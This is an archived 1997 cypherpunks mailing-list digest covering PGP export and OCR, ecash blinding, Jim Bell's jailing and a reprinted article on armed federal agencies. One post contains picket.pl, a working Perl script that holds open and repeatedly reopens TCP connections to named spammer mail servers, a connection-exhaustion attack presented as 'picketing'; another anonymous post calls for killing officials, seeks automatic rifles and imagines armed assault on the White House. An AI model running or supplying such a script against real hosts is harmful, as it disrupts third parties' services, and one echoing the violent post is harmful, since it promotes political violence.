Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <Pine.GSO.3.95.970811120026.29827A-100000@ece>
Message-ID: <3.0.2.32.19970817120702.006fa20c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:21 PM 8/11/97 -0400, tzeruch - at - ceddec - dot - com wrote:

>Not quite.  If you read closely, the EAR says something about reserving
>judgment on OCR publications.  You didn't use a specific OCR font, but you
>did put all kinds of other OCR helps in, which should by itself cloud the
>issue.  It would be nice if it was resolved.

Of course they say the "reserve judgement" - they'd really like to
control it, but they know their chances of getting it past the
First Amendment are extremely low, so it's just FUD.

I thought the PGP source code was printed in nice, friendly OCR-B font,
but OCR equipment is good enough that Courier 10 or random popular
fonts from Laserjets will do.  (Proportional spaced is still a bit
harder to recognize than constant-width, but not by much.)
Reading text typed on an IBM Selectric was practical 10 years ago,
when cheap ($10K) 68000-based OCR machines were starting to come out 
which weren't made by Kurzweil (who made great $30K machines.)
If they want to block OCR-readable stuff, they're blocking just about
everything printed today.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 18 Aug 1997 03:41:01 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <199706222256.RAA10176@mailhub.amaranth.com>
Message-ID: <v03110777b01cc13b6cdd@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:57 pm -0400 on 6/22/97, Tim May wrote:


> >In <199706222220.AAA26096@basement.replay.com>, on 06/23/97
> >   at 12:20 AM, nobody@REPLAY.COM (Anonymous) said:
> >
> >>>  Digital Commerce *is* Financial Cryptography,
> >>>  Financial Cryptography *is* Strong Cryptography,
> >>>  therefore,
> >>>  Digital Commerce *is* Strong Cryptography.
> >>>  and, therefore,
> >>>  No Strong Cryptography, no Digital Commerce.
> >
> >>Why can't escrowed ecash support digital commerce?  Strong crypto with a
> >>government backdoor.  That's what you're offered.  Prove it can't work.

First of all, Anonymous, proving a negative is logically impossible. :-).
Second of all, in general, escrow is H1, and strong crypto, the status quo,
is H0, so it's up to *proponents* of escrow to prove that it'll have the
same, or actually significantly better, results, than strong crypto would.

The same thing holds true for bearer certificates, in general. The
difference in cost between traceable and and anonymous digital bearer
certificate technology is lost in the noise of the enormous benefit of not
using book-entries for transaction settlement anymore. Since they're the
same price, and anonymous bearer certificates are more secure, people will
probably select anonymous certificate protocols for the extra security.

Okay, now on to Tim...

> I agree with "anonymous" that Bob Hettinga's syllogism is unconvincing.

*This* should be fun...

> Now, I happen to believe that untraceable, strong communications and
> monetary instruments allow for amazing things.

Amen. I also expect that the very definition of "amazing" will be in
greater utility (horrors!) to mankind. Progress, in other words. Which, of
course, is defined almost any way you cut it as more stuff for less work,
and which is usually measured in the price of things on an open market.

(Yes, I know. Money isn't everything, and freedom is probably the most
important thing there is. However, in a literal sense, freedom is not
priceless. It must be paid for. Fortunately, since people demand it so
much, progress can also reduce the price of freedom, just like it does with
other goods. :-).)

> But claiming that digital commerce is impossible with an escrowed key
> system is not a very persuasive argument.

One only needs to see the recent IBM FUDomercial about fear of commerce on
the net, or any of the other equivalent  niggling stuff in the press on
digital commerce, to give the lie to that argument. Again, if there's no
material difference between the cost of weak cryptography and strong
cryptography, which one are you going to choose? Occam's razor, and all
that.

We've demonstrated time and time again that the cost of audit trails in
book entries is necessary for non-repudiation. "And then you go to jail" is
the error-handler we all have to live with in our transaction architecture,
because we couldn't move paper bearer certificates down a wire, and storage
of paper costs more money than numbers in a book or database. We pay for
that enforcement "subroutine" with taxes. With bearer certificates, none of
that cost, database storage, access/authentication -- or law enforcement --
is necessary.  If you *do* want audit trails with bearer certificates, you
have to put them back in as some type of kludge. Or, even if you figure out
how to leave them out, like Dan Simon did, you gain no material cost
advantage over anonymous certificates. So why do it? Just 'cause the
government wants it isn't an answer. Nation states have always wanted to do
lots of things which are economically impossible, and those things haven't
happened either.  Reality is not optional.

> (It is true that some major hacks
> of the escrowed system would undermine confidence in e-commerce, but so
> would major hacks of today's SWIFT or similar systems. So?)

Well, I've already answered this using, horrors, utilitarian arguments,
but, directly on the merits of your argument, the most sweeping commerce
protocols will be peer-to-peer ones, checks, cash, and the like. That
leaves a lot of points of weakness to the system. Not the least of which
would be any central place where the transactions are reported. Theft could
be done unobtrusively and on a large scale, and the nagging fear of that is
exactly what stuff like the IBM FUDomercial preys on, causing a "chilling"
effect on commerce in general. The answer is strong cryptography, which
costs the same anyway. So, Financial Cryptography is Strong Cryptography.

> Bob's syllogism is just too simplistic, and it won't be convicing to people
> who have to deal with human weak links in existing systems, and even with
> government interference and government ability to intervene (FinCEN,
> freezing of assets, regulation, etc.).

They can do all they want, but eventually, it boils down to whether strong
cryptography makes more money than weak crypto. I'm firmly convinced that
that is the case. Hence the syllogism.

> Beware too much simplification. It may make for nice t-shirts, but....

Frankly, simple is usually right. Progress in science is usually about
replacing klunky complex ideas with more simple and elegant ones.
Einsteinian space-time distortion is simple to visualize, so too is the
double helix, or Newton's Laws, or the efficient market hypothesis, or
Coase's stuff. Complexity is usually a symptom of cluttered and thus
ineffective theory. Otherwise, we'd still be calculating orbits with
epicycles...

Occam's Razor. It's not just a good idea, it's the only idea. :-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 18 Aug 1997 03:49:57 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now  available , internationally)
In-Reply-To: <97Aug11.152045edt.32259@brickwall.ceddec.com>
Message-ID: <3.0.2.32.19970817123535.04265df0@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:07 PM 8/17/97 -0700, Bill Stewart wrote:
>
>At 03:21 PM 8/11/97 -0400, tzeruch - at - ceddec - dot - com wrote:
>
>>Not quite.  If you read closely, the EAR says something about reserving
>>judgment on OCR publications.  You didn't use a specific OCR font, but you
>>did put all kinds of other OCR helps in, which should by itself cloud the
>>issue.  It would be nice if it was resolved.
>
>Of course they say the "reserve judgement" - they'd really like to
>control it, but they know their chances of getting it past the
>First Amendment are extremely low, so it's just FUD.

It is pretty absurd any way you look at it.

Most text scanning jobs for commercial use are sent off-shore.  For the
government to act like OCR scanning does not exist for those off the
continental US is absurd.

>I thought the PGP source code was printed in nice, friendly OCR-B font,
>but OCR equipment is good enough that Courier 10 or random popular
>fonts from Laserjets will do.  (Proportional spaced is still a bit
>harder to recognize than constant-width, but not by much.)
>Reading text typed on an IBM Selectric was practical 10 years ago,
>when cheap ($10K) 68000-based OCR machines were starting to come out 
>which weren't made by Kurzweil (who made great $30K machines.)
>If they want to block OCR-readable stuff, they're blocking just about
>everything printed today.

I used to work for a company that made CD-ROMs of medical journals.  These
were proportional fonts out of magazines.  (Once in a while we would get
the origianl article information, but that was not always assured.)  Most
of the text would be sent to somewhere in Asia to be scanned and proofread.
 Text scanning is big business in some parts of SE Asia.  (And has for many
years.)

Goes to show you just how disconnected from the real world the White House
and its fellow travelers have become.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 18 Aug 1997 03:44:36 +0800
To: Blanc <cypherpunks@toad.com
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <3.0.32.19970622234946.00af1174@cnw.com>
Message-ID: <v03110778b01cd7881ba9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Okay. So we know that Bell has pled, and he's in there for a while.

How long until he gets out, now?

Has he moved to another facility?

Is all this moot because he's admitting to something which is not related
to his activities on this list? If I remember, his A/P rant here was still
pretty central to the Feds' case, right?


At 2:51 am -0400 on 6/23/97, Blanc wrote:

> I live about an hour's drive from Tacoma.   I'm not too enthused about
> taking such a lengthy trip just to go see how Mr. Private Assassinations is
> doing, but - taking after your own methods, Robert - I'd be glad to do it
> in exchange for a trip to Anguilla next Feb.  :>)

Well, if he's still in there, and Vince Cate is up for it, we can probably
give you a scholarship, which, for FC98, means we let you in the door free.
Unfortunately, we're not quite in the business of flying people down to
Anguilla and putting them up, just yet, so you're still going to have to
get there under your own power. Also, this would be a one shot deal, in
that we couldn't really do this for anyone else. First person(s) to the
train locker, and all that. Mostly it's to show that I, and maybe Vince, if
not the rest of the FC++ organization, realize that there, for the grace of
the net, go us, too, someday, if we don't do something to show that people
like Jim Bell, however loony or repugnant their ideas are to us personally,
are not alone.

> (You know, it is true that having friends in times of stress, like when
> you're sitting in jail, is good for the soul, but on the other hand one
> must give credit to Jim for his having created his own situation.   He did
> provoke the government types into suspicions about him and he must have
> known that distributing his AP ideas,  containing such apparent potential
> for being translated into reality, would make him a grand target.   When
> you do things like that, you ought to consider what you're going to do when
> "they" come after you.   He afterall is quite aware of the atmosphere in
> which we live and how fragile is the relationship (if it can be called
> that) which civilians have with the local military saviors which daily
> protect us from ourselves.)


I think we're all guilty of that, myself. Frankly, every subscriber to this
list has said things, probably on this very forum, which can be used, if
not now, then someday, to politically incarcerate them. Cockroaches scatter
in the presence of light, however. So maybe it's time to shine a little
light into the coal mine and see if the canary still breathes...

I also agree that simple speech is probably not what got Mr. Bell into
jail. However, he is the first cypherpunk to go to jail for talking about
what is an inherently cypherpunk idea. Not to mention a somewhat plausible
application of financial cryptography. :-).

> Having said that, I'll consider the possibility, if visitors are allowed on
> weekends.   Perhaps several cpunks could go (if anyone else around here
> interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
> one visitor at a time is allowed .

Let Vince and I know how many people are going with you. We can't go giving
free badges to everyone who visits Bell in jail, but we can sweeten the pot
with a few FC98 tickets to committed cypherpunks who might not go to FC98
-- or to see Bell, for that matter -- otherwise.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 18 Aug 1997 01:15:39 +0800
To: cypherpunks@toad.com
Subject: Armed and dangerous
Message-ID: <YtJnXtRhstvAy7oIPvdrWA==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



August 15, 1997

Armed and dangerous
Federal agencies expanding use of firepower

Related Items
Joseph Farah's Between the Lines
Which major agencies carry firearms
Where the increases have occurred
All 32 federal agencies packing heat

By Sarah Foster
WorldNetDaily.com

During the late morning of January 14, 1997, 20 heavily armed federal
agents and local sheriff's deputies descended from a military helicopter
onto rocky Santa Cruz Island off the California coast. As snipers moved
into position along the ridge tops to secure the perimeter of the attack
area, other agents staged dynamic entries into the buildings -- rousting
15-year-old Crystal Graybeel who was sleeping late in her cabin.

"They started screaming, 'Put your hands where we can see them.' They
unzipped my sleeping bag. I had to get face down on the floor and they
handcuffed me," the teenager said. She recalled the intruders wore ski
masks and carried machine guns. They kept her handcuffed for two hours.

The target of the raid? A 6,500-acre bow-and-arrow hunting ranch, the last
bastion of private property on the island. The raid resulted in three
arrests -- volunteer Rick Berg, 35, and caretakers Dave Mills, 34, and
Brian Krantz, 33 -- on suspicion of robbing Chumash Indian graves and
taking human remains and artifacts, charges they denied.

The agency responsible for all this was not the Bureau of Alcohol, Tobacco
and Firearms, nor the FBI, nor any other agency typically associated with
such "dynamic entries." This raid was the work of the National Park
Service.

Surprised? So were local residents. Though no lives were lost, the raid
inspired a firestorm of protest. "It saddens me that the Park Service has
resorted to Ruby Ridge tactics," said Marla Daily, president of the Santa
Cruz Island Foundation, referring to the September 1992 standoff between
the FBI and Randy Weaver that resulted in the death of Weaver's wife. "This
incident clearly crosses the line," Daily said.

If the use of the Park Service in commando-style operations seems strange,
it shouldn't. At a time when elected legislative bodies from city councils
to Congress -- have been passing laws that restrict the rights of
law-abiding citizens to keep and bear arms, federal agencies within the
executive branch have been quietly authorizing dramatically increased
numbers of armed personnel -- often heavily armed with military-style
assault weapons.

Today, there are nearly 60,000 federal agents trained and authorized to
enforce the over 3,000 criminal laws Congress has passed over the years,
plus the hundreds of thousands of regulations which now carry criminal
penalties.

"Good grief, that's a standing army," said Larry Pratt of Gun Owners of
America. "It's outrageous."

According to a recent report from the General Accounting Office, as of last
September, the number of law enforcement personnel stood at just under
50,000 -- distributed through 45 agencies -- an increase of about 12,000
agents in 10 years with 2,436 added in 1996 alone. These are full-time
agents, authorized to execute searches, make arrests, and/or carry firearms
"if necessary."

But that number is not complete. When some 7,145 Customs inspectors and 317
Customs Department pilots are added -- all of whom have the above listed
law enforcement powers -- the total is pushing 60,000. Why doesn't the GAO
count them? Not because they aren't armed and dangerous, but because they
have different retirement benefits.

Also, a GAO staff consultant explained that the report doesn't include
contract personnel or personnel from agencies with less than 25 officials
in law enforcement -- which is why some agencies, the Federal Emergency
Management Agency, for example, aren't on the list.

The recent GAO report is the third and final in a series requested by Rep.
Bill McCollum, R-Florida, chairman of the House Subcommittee on Crime, to
gather information on agencies charged with investigating violations of
federal law.

An earlier report, released last year and presenting figures through Sept.
30, 1995, dealt with the 13 biggest agencies -- those with 700 or more
investigative personnel. Not surprisingly, the FBI topped the list with
over 10,000 agents, followed by the INS, Drug Enforcement Administration,
and the U.S. Marshalls Service -- all in the Department of Justice.
Treasury agencies follow -- the Internal Revenue Service, U.S. Secret
Service, Customs, BATF and the Postal Inspection Service. Then the National
Park Service, U.S. Capitol Police, the Naval Criminal Investigative Service
and the Bureau of Diplomatic Security in the State Department.

Some key findings of that report:

* Ten of the 13 agencies employ over 90 percent of all law enforcement
investigative personnel: 38,739.

* Between the end of fiscal years 1987 and 1995, there was a 19 percent
increase in law enforcement personnel in the 13 agencies.

* As of Sept. 30, 1995, the 13 agencies employed about 42,000 investigative
agents. A year later, according to the recent GAO report, it was over
45,000. The pace shows no sign of slackening.

The final report deals with the 32 agencies that employ about 9 percent of
the law enforcement personnel. It's among these 32 that you'll find the
U.S. Fish and Wildlife, EPA's Office of Criminal Enforcement, Forensics and
Training, the Bureau of Land Management's Law Enforcement division and
other law enforcement bodies not usually traditionally with guns.

Yet, the proliferation of firearms is even greater in these agencies: from
a total of 2,471 law enforcement employees in 1987 to 4,204 as of Sept. 30
last year, a 70 percent increase.

But beyond the flat figures loom questions of how agencies are using, or
abusing, the powers they have in everyday law enforcement. Sting operations
and other entrapment tactics, hidden-camera surveillance, phone tapping --
these have become commonplace practices in the name of investigation. So,
too, has the use of dynamic entry teams -- the kind witnessed at Waco and
Ruby Ridge.

David Kopel, director of the free-market Independence Institute in Golden,
Colorado, is an outspoken critic of the usurpation of local and state
police authority by the federal government and the growing use of violence
in law enforcement. According to Kopel, the FBI has 56 SWAT teams that
"specialize in confrontation rather than investigation, even though
investigation is, after all, the very purpose of the bureau."

"Whereas (J. Edgar) Hoover's agents wore suits and typically had a
background in law or accounting, SWAT teams wear camouflage or black ninja
clothing and come from a military background," he said. "They are trained
killers, not trained investigators."

Even worse, other agencies are trying to match "FBI swashbucklers." BATF,
DEA, U.S. Marshalls Service, even the National Park Service and Department
of Health and Human Services -- all have their own SWAT teams.

Contacted by telephone, Kopel said he was "not shocked " at the growing
size of the community of federal law enforcement personnel as reported by
the GAO, "in light of the trends over the past 20 years." "Of course," he
added, "it would have astonished and frightened the authors of our
Constitution."

"There's a continuing imperative (for an agency) to get power, and they'll
come back again and again until they get it," says Eric Sterling, president
of the Washington-based Criminal Justice Policy Foundation and a counsel
for the House Judiciary Committee in the 1980s. Sterling, who describes
himself as a liberal, is particularly alarmed by the arming of agencies
with military weapons, such as machine-guns.

"The machine-gun is an indiscriminate weapon, and is singularly
inappropriate for the FBI and other agencies," he said. "Its use by a
government agency is a horrifying prospect."

In full agreement is Greg Lojein, legislative counsel for the American
Civil Liberties Union. He deplores not only the expansion of the federal
law enforcement, but the lack of constraining mechanisms.

"Local police are subjected to review (by civilian boards), but not federal
agents," he noted. "When the Department of Justice investigates (an agency
incident), the results are not nearly as trustworthy as when an independent
entity investigates. Just ask Richard Jewell about this."

Lojein called attention not only to the procurement of military weapons
themselves, but to the acquisition of heavy equipment such as military
helicopters and tanks as well -- "heavy equipment," he said, "more
characteristic of war than of law enforcement."

"The last thing people want to see is a tank on a city street," he said.
"That's what you expect to see in Bosnia, but not in Boston."

Kopel sees the federalization of law enforcement and the growth of the FBI
as parts of a larger effort to establish a national police force. He cites
in particular the involvement of the FBI in local law enforcement. "Besides
traffic tickets, there aren't many crimes where the FBI isn't involved in
the prosecution," he said.

Eventually, he predicts, federal law enforcement agencies will be merged
--beginning by moving the Treasury agencies under the control of the
Justice Department, as Al Gore has recommended. "But a separation of powers
is at least a small check on the movement towards total police power
consolidation and keeps them from going completely overboard," said Kopel.

Others are concerned that the militarization of the federal government has
already gone too far -- that once-benign agencies have been given
incentives to become armed and dangerous.

The raid at Santa Cruz, for instance, wasn't the first for the Park
Service. It wasn't even the most horrific in terms of outcome. Just one
month after the Weaver debacle at Ruby Ridge, Malibu millionaire Donald
Scott was gunned down in his home in a mid-morning assault involving 14
agencies, including NASA, Immigration and Naturalization Services and the
L.A. County Sheriff's Department. The alleged reason for the attack was
that Scott was suspected of growing marijuana. None was found. There, as at
Santa Cruz Island, the lead agency was the NPS; and there, too, the real
reason was to acquire Scott's estate for the Park Service.

At Santa Cruz, the National Park Service had been trying to obtain the
6,500-acre ranch -- which covers 10 percent of the island. The Nature
Conservancy owns the other 90 percent. The three arrests occurred as the
National Park Service had obtained orders from Congress to seize the ranch.












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 18 Aug 1997 04:27:17 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now   available , internationally)
In-Reply-To: <3.0.2.32.19970817120702.006fa20c@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970817131546.006e100c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:35 PM 8/17/97 -0700, Alan wrote:
>I used to work for a company that made CD-ROMs of medical journals.  These
>were proportional fonts out of magazines.  (Once in a while we would get
>the origianl article information, but that was not always assured.)  Most
>of the text would be sent to somewhere in Asia to be scanned and proofread.
> Text scanning is big business in some parts of SE Asia.  (And has for many
>years.)
>
>Goes to show you just how disconnected from the real world the White House
>and its fellow travelers have become.

I watched the attorney for the USG claim in federal court during the recent
Bernstein hearing that foreigners were incapable of retyping or scanning in
crypto source code. He stated that even retyping the source for DES was too
difficult to be done successfully.

I couldn't help but groan. Luckyly, the judge wasn't nearly as stupid as I
had feared. She knew that he was trying to snow her.



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Mon, 18 Aug 1997 04:39:38 +0800
To: Alan <cypherpunks@toad.com>
Subject: Re: FCPUNX:Getting ecash without an MTB account
Message-ID: <199708172027.NAA14757@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997, Mike wrote:
>> Are you referring to the receiver anonymous protocol?
>> 
>> This is how I understand that protocol,
>> 
>> Alice wants to receive e$1 from Bob. She creates a random number, blinds
>> it, and gives the blinded number to Bob. He shows the number to the
>> Mint, asking for a withdrawal of e$1 with a signature on this coin
>> number. Bob gives the signed and still blinded coin to Alice. She
>> unblinds it and spends it, end of story.

At 10:24 AM 8/15/97 -0700, Alan wrote:
> Actually the coin is intercepted and spent by Mallet.  Alice gets pissed
> at Bob because she feels cheated by him.

Mallet cannot intercept the coin, because only Alice can unblind it.

Mallet cannot provide Bob with a number blinded by him, rather than
Alice, because Alice signed the blinded number

>> I thought that in this scenario, Bob can spend the coin before he gives
>> it to Alice, 

No he cannot, because only Alice can unblind the coin.

> My understanding of the protocol is that the identity of the purchacer is
> revealed only if the coin is double spent. 

The identity of Bob is known by Alice and the bank.

No one can ever discover the identity of Alice from the coin.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 17 Aug 1997 21:33:58 +0800
To: enoch@zipcon.net
Subject: picket.pl (was Re: Picketing With Packets)
In-Reply-To: <19970816212754.10722.qmail@zipcon.net>
Message-ID: <199708171319.OAA03207@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> We write a little Perl script that keeps exactly ONE AND ONLY ONE
> TCP connection open to each of Mr. Spamford's machines.  Keeping a
> single TCP connection open to someone's box is unlikely to be
> illegal, and does not constitute a Denial of Service attack.
> Consider it the packet equivalent of a single person picketing.

Sounds good to me :-)

Here's picket.pl.

You create two files, one called "hosts" the other called "services",
a hosts file of all of Spamford machines (if you have a list):

answerme.com
spamford.com
savetrees.com

and a "services" file with:

smtp

should do what you describe.

There are a number of arguments you can play with also:

% picket.pl [<num> [<max> [<sleep>] ] ]

<num> is the number of sockets to hold open on each machine/service.
Eg if we set this to 10, it'll try to open 10 connections to the SMTP
port at savetrees.com.  (Defaults to 1)

<max> is the maximum number of connections to hold open (you might want
some left for your own use :-).  Linux seemed to merrily go over 256
though I think some unixes will give you a per user limit of around
256.  (Defaults to 100).

<sleep> is how long to wait before closing and reopening all the
descriptors.  (Defaults to 1 minute).

For example:

% picket.pl 10 100 600

would open 10 connections on each port, would consume 100 socket
descriptors locally, and would wait 10 mins before closing them and
starting over.

Adam

==============================8<==============================
#!/usr/local/bin/perl -s

($num, $max, $sleep) = @ARGV;
if (!defined($num)) { $num = 1; }	# try to open 1 socket on each service
if (!defined($max)) { $max = 100; }	# use this many file descriptors
if (!defined($sleep)) { $sleep = 60; }	# repeat after this time in seconds

use Socket;
$proto = getprotobyname( "tcp" );
$count = 0;

$/ = undef;
open( SERVICES, "services" ) || die( "can't open services\n" );
chop( @service = <SERVICES> );
close( SERVICES );

open( HOSTS, "hosts" ) || die( "can't open hosts\n" );
chop( @hosts = <HOSTS> );
close( HOSTS );

while ( 1 )
{
    foreach $host ( @hosts )
    {
	foreach $service ( @service )
	{
	    foreach ( 1..$num )
	    {
		stuff( $host, $service );
		if ( $v )
		{
		    print "fd[$count] = connect( $host:\U$service )\n";
		}
	    }
	}
    }
    sleep( $sleep );
}

sub stuff
{
    my( $host, $service ) = @_; 
    my( $sock, $port, $ipaddr, $addr );
    $sock = "SOCK$count";
    $count = ($count + 1) % $max;
    close( $sock );
    
    $port = getservbyname( $service, "tcp" );
    socket( $sock, PF_INET, SOCK_STREAM, $proto );

    $ipaddr = inet_aton( $host );
    $addr = sockaddr_in( $port, $ipaddr );
    connect( $sock, $addr );
}
#==============================8<==============================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 18 Aug 1997 02:52:11 +0800
To: cypherpunks@toad.com
Subject: Death to Tyrants (was Re: ASSETS FORFEITURE BILL ON THE MOVE)
Message-ID: <S5nPFhxWftS8Oanvm8onPw==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 09:07 AM 8/17/97 +0200, you wrote:
>  Is it time to kill these fuckers, yet?

I reckon so.  Anybody here know of a nice place to aquire Automatic Rifles?

On the note of fascist bills, I can't wait to see the next one... The "Feline Rape and Forfeiture" bill, allowing police to steal your cat, detain it, and rape it, if they please.

>  Does anybody know what the secret signal is for us to descend
>on D.C. en masse and slaughter every living soul in the defense
>of freedom? (or merely on a whim?)

I believe it's the middle finger.

Lock and load Gentlemen.

FreedomMonger
"There's something good about several crazed Cypherpunks charging the WhiteHouse with Automatic Rifles."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 18 Aug 1997 04:20:36 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now  available , internationally)
In-Reply-To: <3.0.2.32.19970817123535.04265df0@ctrl-alt-del.com>
Message-ID: <199708172002.PAA09041@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970817123535.04265df0@ctrl-alt-del.com>, on 08/17/97 
   at 12:35 PM, Alan <alan@ctrl-alt-del.com> said:

>Goes to show you just how disconnected from the real world the White
>House and its fellow travelers have become.

I doubt that you would find anyone outside of the beltway that didn't know
that DC was out of touch with the rest of the world (and reality for that
matter).

They are all living in there own little fantasy world there; unfortunately
people are dieing in the real world because of it.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/dLF49Co1n+aLhhAQHw1gQAkaVr5bGpe4YURkOtdtpcTZp6Uw7sq2RO
tcRbMy0RC1O19RxfnJQM4yIzoZZAq26ggnHt9vVw07xrME/ywmzysoOaUdpbRF6U
V+1iVV5Q2bIfJ6ImvAlrLu+N9bNpDIWF1U0glyXcAhrVPOGZ9yyownpNmCHk3WWO
2zm7pphaXEQ=
=wvD8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cComplainer@hotmail.com
Date: Sun, 17 Aug 1997 20:09:34 +0800
To: <cypherpunks@Algebra.COM>
Subject: go ahead, be a Man
Message-ID: <199708171505.PAA27829@server.imsday.com>
MIME-Version: 1.0
Content-Type: text/plain



Man invented language to satisfy his deep need to complain. 

				-- Lily Tomlin 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 18 Aug 1997 06:34:33 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970817151550.00a36d98@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



>From Robert Hettinga:

>Well, if he's still in there, and Vince Cate is up for it, we can probably
>give you a scholarship, which, for FC98, means we let you in the door free.
[.....]   Mostly it's to show that I, and maybe Vince, if
>not the rest of the FC++ organization, realize that there, for the grace of
>the net, go us, too, someday, if we don't do something to show that people
>like Jim Bell, however loony or repugnant their ideas are to us personally,
>are not alone.
........................................................................

I was kidding, but that's awful nice of you, even if I still must pay for
the rest of it.   Yes, I'll still go visit JimBob - I'll have to find out
about his location, hours, etc.    Again, if any of you in this area would
like to make the trip or meet there, perhaps meeting later as well for
dinner and scholaryly discussion on the perils of free speech and such,
please let me know.   

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 18 Aug 1997 07:15:13 +0800
To: "James A. Donald" <alan@ctrl-alt-del.com>
Subject: Re: FCPUNX:Getting ecash without an MTB account
In-Reply-To: <199708172027.NAA14757@proxy3.ba.best.com>
Message-ID: <v0310280fb01d321f8cf7@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>> My understanding of the protocol is that the identity of the purchacer is
>> revealed only if the coin is double spent.
>
>The identity of Bob is known by Alice and the bank.

Bob's identity is only known by Alice if other aspects of their transaction
reveal it.  Ecash payments can be made out to "@", a wild-card ID which
allows anyone to spend it.  TCP/IP payments only provide the IP address not
the payee identity.  Payments made via message pools further obscure
identity.

Once MoneyChanger front-ends to the mints are available Bob can remain
anonymous to the bank as well.

>No one can ever discover the identity of Alice from the coin.

Unless the payment characteristics, e.g., large coin values, permit linkage.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 18 Aug 1997 04:59:57 +0800
To: cypherpunks@toad.com
Subject: Wireless Week: CALEA Action Moves Backstage 8/18/97
Message-ID: <v0311077cb01d0ea5aa8d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Subject: Wireless Week: CALEA Action Moves Backstage 8/18/97

